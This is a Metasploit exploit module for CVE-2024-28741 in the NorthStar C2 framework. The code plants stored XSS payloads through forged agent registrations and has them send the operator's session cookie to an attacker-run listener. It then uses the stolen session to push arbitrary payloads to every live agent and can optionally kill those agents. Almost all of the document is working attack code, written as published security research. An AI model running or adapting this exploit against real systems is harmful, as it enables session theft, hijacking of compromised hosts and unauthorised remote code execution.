NorthStar C2 XSS to Agent RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'NorthStar C2 XSS to Agent RCE',
        'Description' => %q{
          NorthStar C2, prior to commit 7674a44 on March 11 2024, contains a vulnerability where the logs page is
          vulnerable to a stored xss.
          An unauthenticated user can simulate an agent registration to cause the XSS and take over a users session.
          With this access, it is then possible to run a new payload on all of the NorthStar C2 compromised hosts
          (agents), and kill the original agent.

          Successfully tested against NorthStar C2 commit e7fdce148b6a81516e8aa5e5e037acd082611f73 running on
          Ubuntu 22.04. The agent was running on Windows 10 19045.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'chebuya' # original PoC, analysis
        ],
        'DefaultOptions' => {
          'URIPATH' => '/' # avoid long URLs due to 20char limit in xss payloads
        },
        'References' => [
          [ 'URL', 'https://blog.chebuya.com/posts/discovering-cve-2024-28741-remote-code-execution-on-northstar-c2-agents-via-pre-auth-stored-xss/' ],
          [ 'URL', 'https://github.com/chebuya/CVE-2024-28741-northstar-agent-rce-poc' ],
          [ 'URL', 'https://github.com/EnginDemirbilek/NorthStarC2/commit/7674a4457fca83058a157c03aa7bccd02f4a213c'],
          [ 'CVE', '2024-28741']
        ],
        'Platform' => ['win'],
        'Privileged' => false,
        'Arch' => ARCH_CMD,
        'Targets' => [
          [ 'Automatic Target', {}]
        ],
        'DisclosureDate' => '2024-03-12',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [EVENT_DEPENDENT],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, 'The URI of the NorthStar C2 Application', '/']),
        OptBool.new('KILL', [ false, 'Kill the NorthStar C2 agent', false])
      ]
    )
  end

  def check
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'getin.php'),
      'method' => 'GET'
    )
    return CheckCode::Unknown("#{peer} - Could not connect to web service - no response") if res.nil?
    return CheckCode::Unknown("#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") unless res.code == 200

    return CheckCode::Detected('NorthStar Login page detected') if res.body.include? '<title>The NorthStar Login</title>'

    CheckCode::Safe('NorthStar C2 Login page not detected')
  end

  def steal_agents(cookie)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'clients.php'),
      'headers' => {
        'cookie' => "PHPSESSID=#{cookie}"
      }
    )
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
    soup = Nokogiri::HTML(res.body)
    rows = soup.css('tr')

    agent_table = Rex::Text::Table.new(
      'Header' => 'Live Agents',
      'Indent' => 1,
      'Columns' =>
        [
          'ID',
          'IP',
          'OS',
          'Username',
          'Hostname',
          'Status'
        ]
    )

    rows.each do |row|
      cells = row.css('td')
      next if cells.length != 9

      status = cells[7].text.strip
      next if status != 'Online'

      agent_id = cells[1].text.strip
      agent_ip = cells[2].text.strip
      hostname = cells[5].text.strip

      agent_table << [agent_id, agent_ip, cells[3].text.strip, cells[4].text.strip, hostname, cells[7].text.strip]
      report_host(host: agent_ip, name: hostname, os_name: cells[3].text.strip, info: "Northstar C2 Agent Deployed, callback: #{datastore['RHOST']}")
    end

    fail_with(Failure::NotFound, 'No live agents to exploit') if agent_table.rows.empty?

    print_good(agent_table.to_s)

    script_tags = soup.css('script')

    csrf_token = nil
    script_tags.each do |script_tag|
      if script_tag.text.include?('csrfToken')
        csrf_token = script_tag.text.split('"')[1]
        break
      end
    end

    fail_with(Failure::UnexpectedReply, "#{peer} - Unable to find CSRF token") unless csrf_token

    vprint_good("CSRF Token: #{csrf_token}")

    agent_table.rows.each do |agent|
      agent_id = agent[0]
      hostname = agent[4]
      print_status("(#{agent_id}) Stealing #{hostname}")

      vprint_status("  (#{agent_id}) Enabling shell mode")
      agent_exec(agent_id, csrf_token, cookie, 'enablecmd')
      vprint_status("  (#{agent_id}) Running payload")
      agent_exec(agent_id, csrf_token, cookie, payload.encoded)
      vprint_status("  (#{agent_id}) Disabling shell mode")
      agent_exec(agent_id, csrf_token, cookie, 'disablecmd')
      next unless datastore['KILL']

      vprint_status("  (#{agent_id}) Killing NorthStar payload")
      agent_exec(agent_id, csrf_token, cookie, 'die')
    end
  end

  def agent_exec(agent_id, csrf_token, cookie, command)
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'functions', 'setCommand.nonfunction.php'),
      'method' => 'POST',
      'headers' => {
        'cookie' => "PHPSESSID=#{cookie}"
      },
      'vars_post' => {
        'slave' => agent_id,
        'command' => command,
        'sid' => agent_id,
        'token' => csrf_token
      }
    )
    fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?

    # 1min seems enough, NorthStar mentions 4_000ms response times...
    (2 * 60).times do
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'getresponse.php'),
        'headers' => {
          'cookie' => "PHPSESSID=#{cookie}"
        },
        'vars_get' => {
          'slave' => agent_id
        }
      )
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
      if !res.body.empty? || command == 'die'
        vprint_good("    Command sent successfully to agent #{agent_id}, response: #{res.body}")
        return
      end
      Rex.sleep(0.5)
    end
  end

  def on_request_uri(cli, request)
    if request.method == 'GET' && @xss_response_received == false
      vprint_status('Received GET request.')
      return unless request.uri.include? '='

      cookie = request.uri.split('PHPSESSID=')[1]
      print_good("Received cookie: #{cookie}")
      send_response_html(cli, '')
      @xss_response_received = true
      steal_agents(cookie)
    end
    send_response_html(cli, '')
  end

  def xor_strings(text, key)
    text.chars.map.with_index { |char, i| (char.ord ^ key[i % key.length].ord).chr }.join
  end

  def srvhost
    datastore['SRVHOST']
  end

  def primer
    @xss_response_received = false
    vprint_status('Sending XSS')
    # divide up the host length so that it fits in our payload
    h1 = srvhost[0...srvhost.length / 2]
    h2 = srvhost[srvhost.length / 2..]
    sid_payloads = ['*/</script><', '*/i.src=u/*', '*/new Image;/*', '*/var i=/*', "*/s+h+p+'/'+c;/*", '*/var u=/*', "*/'http://';/*", '*/var s=/*', "*/':#{datastore['SRVPORT']}';/*", '*/var p=/*', '*/a+b;/*', '*/var h=/*', "*/'#{h2}';/*", '*/var b=/*', "*/'#{h1}';/*", '*/var a=/*', '*/d.cookie;/*', '*/var c=/*', '*/document;/*', '*/var d=/*', '</td><script>/*']
    sid_payloads.each do |pload|
      pload = "N#{pload}q"
      vprint_status("Sending: #{pload}")
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'login.php'),
        'method' => 'POST',
        'vars_get' => {
          'sid' => Rex::Text.encode_base64(xor_strings(pload, 'northstar'))
        }
      )

      fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP code received: #{res.code}") unless res.code == 200
    end
    print_status('Waiting on XSS execution')
  end

  def exploit
    fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
    fail_with(Failure::BadConfig, 'SRVPORT and FETCH_SRVPORT must be different') if datastore['SRVPORT'] == datastore['FETCH_SRVPORT']
    super
  end
end